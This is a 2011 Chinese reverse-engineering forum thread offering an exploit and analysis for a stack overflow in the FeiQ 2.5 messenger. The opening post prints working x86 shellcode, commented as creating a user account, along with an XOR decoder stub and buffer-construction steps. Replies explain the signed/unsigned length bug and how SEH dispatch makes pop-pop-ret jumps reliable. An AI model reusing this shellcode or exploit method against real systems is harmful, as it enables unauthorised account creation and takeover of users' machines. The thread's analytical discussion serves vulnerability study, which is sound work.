首页
社区
课程
招聘
[原创]飞秋2.5exploit代码与分析[感谢漏洞发布者artake]欢迎大家拍砖
发表于: 2011-12-29 20:37 15804

[原创]飞秋2.5exploit代码与分析[感谢漏洞发布者artake]欢迎大家拍砖

2011-12-29 20:37
15804
char shellcode[]=//[B][COLOR="Red"]cteate a user:x[/COLOR][/B]
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3" 
  "\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68" 
  "\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68" 
  "\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89" 
  "\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53" 
  "\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31" 
  "\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00" 
  "\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69" 
  "\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89" 
  "\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51" 
  "\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49" 
  "\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14" 
  "\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c" 
  "\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18" 
  "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01" 
  "\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38" 
  "\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1" 
  "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04" 
 "\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";
char shellcode_header[]=
"\xEB\x10\x58\x31\xC9\x66\x81\xC1[COLOR="Purple"][B]\x22\xFF[/B][/COLOR]\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";
    首先分析溢出点的地址,分析出是栈溢出还是堆的溢出。从作者的习惯来看可以猜出这是一个栈溢出,因为作者不喜欢使用堆来分配内存,我们可以从这个溢出点函数的最开始的一段代码就可以见端倪。
    下,就是简单的对栈的esp指针根据要分配的内存大小进行了一次下移。不过 我好像没有看到保存分配的内存的指针的地方,你们看到了吗?

  • jmp ebx/call ebx
  • pop,pop,ret
  • 直接跳转

  • 首先把得到的shellcode进行加密后。分配一个目标缓冲区来存储加密后的+头的shellcode。
  • 再把解密头先拷贝到目标区中去,拷贝前要把22 FF用真正的长度进行替换。
  • 最后把加密后的有效shellcode拷贝到目标缓冲区的头的后面连接起来。
  • 1:定位溢出点

  • [招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

    上传的附件:
    收藏
    免费 6
    支持
    分享
    最新回复 (32)
    雪    币: 370
    活跃值: (15)
    能力值: ( LV9,RANK:170 )
    在线值:
    发帖
    回帖
    粉丝
    2
    坐看云起................
    2011-12-29 20:56
    0
    雪    币: 433
    活跃值: (1870)
    能力值: ( LV17,RANK:1820 )
    在线值:
    发帖
    回帖
    粉丝
    3
    LZ为何不在文档中写好再发上来呢?
    2011-12-29 21:08
    0
    雪    币: 102
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    4
    膜拜下,LS大哥,
    认真看下,LZ的文章...
    2011-12-29 21:14
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    5
    因为还没有写文档
    2011-12-29 21:14
    0
    雪    币: 177
    活跃值: (471)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    6
    test [ecx],eax 是为了触发栈内存的PAGE_GUARD保护,让系统分配内存。
    2011-12-29 22:33
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    7
    [QUOTE=cooolie;1033801]test [ecx],eax 是为了触发栈内存的PAGE_GUARD保护,让系统分配内存。[/QUOTE]

    一语中的,谢谢
    2011-12-29 22:52
    0
    雪    币: 435
    活跃值: (1277)
    能力值: ( LV13,RANK:388 )
    在线值:
    发帖
    回帖
    粉丝
    8
    漏洞成因简单说就是有符号数和无符号数直接比大小,照这个思路接着挖,估计还有
    作者的代码严重有问题啊
    2011-12-29 23:20
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    9
    其实这个也不能说作者的不严密的问题,这个是有符号与无符号数的匹配问题。唉,默认的数为int有符号,而memcpy又无符号。这样的话就有不匹配的问题。

    我想的话,如果你有一个域是用来作为长度限制的话,这个变量你的申明的时候就用size_t这样的c/c++宏来声明。这样就可以少很多的问题了,你们认为呢。各位大大
    2011-12-29 23:30
    0
    雪    币: 27
    活跃值: (127)
    能力值: ( LV8,RANK:120 )
    在线值:
    发帖
    回帖
    粉丝
    10
    漏洞贴我要学习啊
    2011-12-30 09:43
    0
    雪    币: 112
    活跃值: (14)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    11
    不错啊 学习了
    2011-12-30 10:12
    0
    雪    币: 168
    活跃值: (11)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    12
    占楼顶贴,很牛!
    2011-12-30 10:32
    0
    雪    币: 375
    活跃值: (201)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    13
    公司有feiq的人很多,这个真要认真学习下了
    2011-12-30 10:42
    0
    雪    币: 435
    活跃值: (1277)
    能力值: ( LV13,RANK:388 )
    在线值:
    发帖
    回帖
    粉丝
    14
    在执行handler的时候,ebx当然是0了,看代码
    .text:7C923256 ExecuteHandler@20 proc near ; CODE XREF: RtlpExecuteHandlerForException(x,x,x,x,x)+5j
    .text:7C923256
    .text:7C923256 arg_0 = dword ptr 4
    .text:7C923256 arg_4 = dword ptr 8
    .text:7C923256 arg_8 = dword ptr 0Ch
    .text:7C923256 arg_C = dword ptr 10h
    .text:7C923256 arg_10 = dword ptr 14h
    .text:7C923256
    .text:7C923256 push ebx
    .text:7C923257 push esi
    .text:7C923258 push edi
    .text:7C923259 xor eax, eax
    .text:7C92325B xor ebx, ebx
    .text:7C92325D xor esi, esi
    .text:7C92325F xor edi, edi
    .text:7C923261 push [esp+0Ch+arg_10]
    .text:7C923265 push [esp+10h+arg_C]
    .text:7C923269 push [esp+14h+arg_8]
    .text:7C92326D push [esp+18h+arg_4]
    .text:7C923271 push [esp+1Ch+arg_0]
    .text:7C923275 call ExecuteHandler2@20
    .text:7C92327A pop edi
    .text:7C92327B pop esi
    .text:7C92327C pop ebx
    .text:7C92327D retn 14h
    2011-12-30 13:06
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    15
    请问bitt大大,jmp/call ebx是怎么用的呢?望指点?!!!!
    2011-12-30 13:58
    0
    雪    币: 435
    活跃值: (1277)
    能力值: ( LV13,RANK:388 )
    在线值:
    发帖
    回帖
    粉丝
    16
    不敢当,jmp ebx在seh handler里我感觉是不能用的,pop、pop、retn是比较稳定的能跳回可控区的方法
    这得从异常分发流程说起,异常产生后先进内核KiTrapXX,然后由内核里的KiDispatchException分发,具体参见http://apps.hi.baidu.com/share/detail/21298681
    我是内核菜,讲不太清楚,不过没关系,这里和内核没关系,主要是用户层异常分发
    在没有调试器的状况下,内核会把异常记录为一个结构体EXCEPTION_RECORD,再分发给用户层异常分发器KiUserExceptionDispatcher,你在一条异常指令上单步就直接到这里了
    KiUserExceptionDispatcher中实际负责分发异常的函数是RtlDispatchException,其中先执行veh链上的各个veh handler,异常未被处理 然后 展开seh链 逐个执行,RtlpExecuteHandlerForException->ExecuteHandler->ExecuteHandler2
    最终call这个handler的就是ExecuteHandler2
    .text:7C923282 ExecuteHandler2@20 proc near            ; CODE XREF: ExecuteHandler@20+1Fp
    .text:7C923282
    .text:7C923282 arg_0           = dword ptr  8
    .text:7C923282 arg_4           = dword ptr  0Ch
    .text:7C923282 arg_8           = dword ptr  10h
    .text:7C923282 arg_C           = dword ptr  14h
    .text:7C923282 arg_10          = dword ptr  18h
    .text:7C923282
    .text:7C923282                 push    ebp
    .text:7C923283                 mov     ebp, esp
    .text:7C923285                 push    [ebp+arg_4]
    .text:7C923288                 push    edx
    .text:7C923289                 push    large dword ptr fs:0
    .text:7C923290                 mov     large fs:0, esp
    .text:7C923297                 push    [ebp+arg_C]
    .text:7C92329A                 push    [ebp+arg_8]
    .text:7C92329D                 push    [ebp+arg_4]
    .text:7C9232A0                 push    [ebp+arg_0]
    .text:7C9232A3                 mov     ecx, [ebp+arg_10]
    [COLOR="Red"].text:7C9232A6                 call    ecx[/COLOR]
    .text:7C9232A8                 mov     esp, large fs:0
    .text:7C9232AF                 pop     large dword ptr fs:0
    .text:7C9232B6                 mov     esp, ebp
    .text:7C9232B8                 pop     ebp
    .text:7C9232B9                 retn    14h
    .text:7C9232B9 ExecuteHandler2@20 endp
    

    其中的ecx,指向的就是我们的handler,那为什么要pop、pop。retn呢,call到handler之后,
    esp指向的是返回地址,其次是ExecuteHandler2传进来的4个参数,
    看看这handler的原型把
    NTAPI
    EXCEPTION_ROUTINE (
        __inout struct _EXCEPTION_RECORD *ExceptionRecord,
    [COLOR="Red"]    __in PVOID EstablisherFrame,[/COLOR]
        __inout struct _CONTEXT *ContextRecord,
        __in PVOID DispatcherContext
        );

    其中第二个参数EstablisherFrame其实就是handler所在seh节点指针EXCEPTION_REGISTRATION_RECORD
    这个事可控的,先pop掉返回地址,在pop掉ExceptionRecord,然后esp指向的就是EstablisherFrame,直接retn就到了我们可以控制的地方,所以写pop pop retn

    而ebx早在ExecuteHandler里就已经清零了,这里肯定没法用
    2011-12-30 14:29
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    17
    谢谢bitt大大的回复。pop,pop,ret这个了解一点,下一步我会仔细的看一下关于结构化异常处理的相关知识的。再次感谢!

    这个是以前找的一些资料,接下来我会仔细求证的。
    thanks
    上传的附件:
    2011-12-30 14:53
    0
    雪    币: 57
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    18
    mark..............
    2011-12-30 15:05
    0
    雪    币: 3171
    活跃值: (76)
    能力值: (RANK:250 )
    在线值:
    发帖
    回帖
    粉丝
    19
    关于call ebx为什么不能使用,这里引用下泉哥翻译的那个exploit系列教程里面的一段话:
    “Xor
    为了能够编写一个基于SEH 溢出的Exploit,我们需要在Windows xp sp1 之前版本和SP1 以
    及后续版本之间做个详细的比较。从SP1 开始,在调用异常处理例程之前,所有的寄存器都
    将先被清空(如:xor eax,eax),这让Exploit 的编写变得更复杂。这个意味着当第一次发生
    异常时会有一个或多个寄存器指向你的Payload,但是一旦EH 发挥作用,这些寄存器都将被
    清空(所以你无法直接跳转到它们(如:jmp esp)来执行你的shellcode)。等一下我们将会
    讨论这个。

    《Q版》里面的大多数实验环境都是在win2000和 win xp sp0下 所以 要注意测试环境。

    关于漏洞的利用楼主用心分析得很详尽,鼓励~

    另外提醒下,漏洞利用分析中,最好不要直接提供利用工具~
    2011-12-30 17:25
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    20
    好的,以后会注意的。
    2011-12-30 18:48
    0
    雪    币: 403
    活跃值: (330)
    能力值: ( LV12,RANK:230 )
    在线值:
    发帖
    回帖
    粉丝
    21
    上等的硬货!!!支持!
    2011-12-30 21:37
    0
    雪    币: 5417
    活跃值: (3502)
    能力值: ( LV5,RANK:75 )
    在线值:
    发帖
    回帖
    粉丝
    22
    真狠,看来一个比较都的小心翼翼的。
    2011-12-30 23:16
    0
    雪    币: 120
    活跃值: (160)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    23
    虽然看不懂。但是好强大。
    2011-12-31 16:13
    0
    雪    币: 201
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    24
    飞秋作者好像更新了飞秋的漏洞了
    刚在飞秋官网上看到的
    http://www.feiq18.com
    2011-12-31 16:50
    0
    雪    币: 122
    活跃值: (46)
    能力值: ( LV5,RANK:60 )
    在线值:
    发帖
    回帖
    粉丝
    25
    http://www.feiq18.com/forum.php?mod=viewthread&tid=2198441&extra=page%3D1

    是的,作者已更新
    上传的附件:
    2012-1-2 20:32
    0
    游客
    登录 | 注册 方可回帖
    返回
    //